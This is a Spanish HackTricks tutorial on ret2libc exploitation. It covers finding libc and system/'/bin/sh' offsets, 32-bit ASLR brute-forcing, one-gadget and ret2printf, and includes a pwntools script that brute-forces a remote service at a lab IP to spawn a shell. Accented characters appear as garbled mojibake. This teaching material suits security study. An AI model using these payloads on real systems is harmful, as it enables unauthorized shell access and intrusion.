Ret2lib
Reading time: 7 minutes
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.
Informaci贸n B谩sica
La esencia de Ret2Libc es redirigir el flujo de ejecuci贸n de un programa vulnerable a una funci贸n dentro de una biblioteca compartida (por ejemplo, system, execve, strcpy) en lugar de ejecutar shellcode proporcionado por el atacante en la pila. El atacante elabora una carga 煤til que modifica la direcci贸n de retorno en la pila para apuntar a la funci贸n de la biblioteca deseada, mientras tambi茅n organiza que cualquier argumento necesario est茅 correctamente configurado de acuerdo con la convenci贸n de llamada.
Pasos de Ejemplo (simplificados)
- Obtener la direcci贸n de la funci贸n a llamar (por ejemplo, system) y el comando a llamar (por ejemplo, /bin/sh)
- Generar una cadena ROP para pasar el primer argumento apuntando a la cadena de comando y el flujo de ejecuci贸n a la funci贸n
Encontrando las direcciones
- Suponiendo que la
libc
utilizada es la de la m谩quina actual, puedes encontrar d贸nde se cargar谩 en memoria con:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Si quieres verificar si el ASLR est谩 cambiando la direcci贸n de libc, puedes hacer:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Conocer la libc utilizada tambi茅n permite encontrar el desplazamiento a la funci贸n
system
con:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Conociendo la libc utilizada, tambi茅n es posible encontrar el desplazamiento a la cadena
/bin/sh
funci贸n con:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Usando gdb-peda / GEF
Conociendo la libc utilizada, tambi茅n es posible usar Peda o GEF para obtener la direcci贸n de la funci贸n system, de la funci贸n exit y de la cadena /bin/sh
:
p system
p exit
find "/bin/sh"
Usando /proc/<PID>/maps
Si el proceso est谩 creando hijos cada vez que hablas con 茅l (servidor de red), intenta leer ese archivo (probablemente necesitar谩s ser root).
Aqu铆 puedes encontrar exactamente d贸nde se carga la libc dentro del proceso y d贸nde se va a cargar para cada hijo del proceso.
En este caso se carga en 0xb75dc000 (Esta ser谩 la direcci贸n base de libc)
libc desconocida
Puede ser posible que no conozcas la libc que est谩 cargando el binario (porque podr铆a estar ubicada en un servidor al que no tienes acceso). En ese caso, podr铆as abusar de la vulnerabilidad para filtrar algunas direcciones y encontrar qu茅 biblioteca libc se est谩 utilizando:
Y puedes encontrar una plantilla de pwntools para esto en:
Conocer libc con 2 offsets
Consulta la p谩gina https://libc.blukat.me/ y usa un par de direcciones de funciones dentro de la libc para averiguar la versi贸n utilizada.
Bypass de ASLR en 32 bits
Estos ataques de fuerza bruta son solo 煤tiles para sistemas de 32 bits.
- Si el exploit es local, puedes intentar forzar la direcci贸n base de libc (煤til para sistemas de 32 bits):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Si atacas un servidor remoto, podr铆as intentar forzar la direcci贸n de la funci贸n
usleep
delibc
, pasando como argumento 10 (por ejemplo). Si en alg煤n momento el servidor tarda 10s extra en responder, encontraste la direcci贸n de esta funci贸n.
One Gadget
Ejecuta un shell saltando a una direcci贸n espec铆fica en libc:
x86 Ret2lib C贸digo de Ejemplo
En este ejemplo, el brute-force de ASLR est谩 integrado en el c贸digo y el binario vulnerable se encuentra en un servidor remoto:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
x64 Ret2lib C贸digo de Ejemplo
Consulta el ejemplo de:
ROP - Return Oriented Programing
ARM64 Ret2lib Ejemplo
En el caso de ARM64, la instrucci贸n ret salta a donde apunta el registro x30 y no a donde apunta el registro de pila. As铆 que es un poco m谩s complicado.
Adem谩s, en ARM64 una instrucci贸n hace lo que la instrucci贸n hace (no es posible saltar en medio de instrucciones y transformarlas en nuevas).
Consulta el ejemplo de:
Ret-into-printf (o puts)
Esto permite filtrar informaci贸n del proceso al llamar a printf
/puts
con algunos datos espec铆ficos colocados como argumento. Por ejemplo, poner la direcci贸n de puts
en la GOT en una ejecuci贸n de puts
filtrar谩 la direcci贸n de puts
en memoria.
Ret2printf
Esto b谩sicamente significa abusar de un Ret2lib para transformarlo en una vulnerabilidad de cadenas de formato de printf
utilizando el ret2lib
para llamar a printf con los valores para explotarlo (suena in煤til pero es posible):
Otros Ejemplos y referencias
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib, dado un leak a la direcci贸n de una funci贸n en libc, usando un gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64 bits, ASLR habilitado pero sin PIE, el primer paso es llenar un desbordamiento hasta el byte 0x00 del canario para luego llamar a puts y filtrarlo. Con el canario se crea un gadget ROP para llamar a puts y filtrar la direcci贸n de puts de la GOT y luego un gadget ROP para llamar a
system('/bin/sh')
- https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64 bits, ASLR habilitado, sin canario, desbordamiento de pila en main desde una funci贸n hija. Gadget ROP para llamar a puts y filtrar la direcci贸n de puts de la GOT y luego llamar a un gadget.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64 bits, sin pie, sin canario, sin relro, nx. Usa la funci贸n write para filtrar la direcci贸n de write (libc) y llama a un gadget.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Usa una cadena de formato para filtrar el canario de la pila y un desbordamiento de b煤fer para llamar a system (est谩 en la GOT) con la direcci贸n de
/bin/sh
. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32 bits, sin relro, sin canario, nx, pie. Abusa de un mal indexado para filtrar direcciones de libc y heap desde la pila. Abusa del desbordamiento de b煤fer para hacer un ret2lib llamando a
system('/bin/sh')
(se necesita la direcci贸n del heap para eludir una verificaci贸n).
tip
Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a HackTricks y HackTricks Cloud repos de github.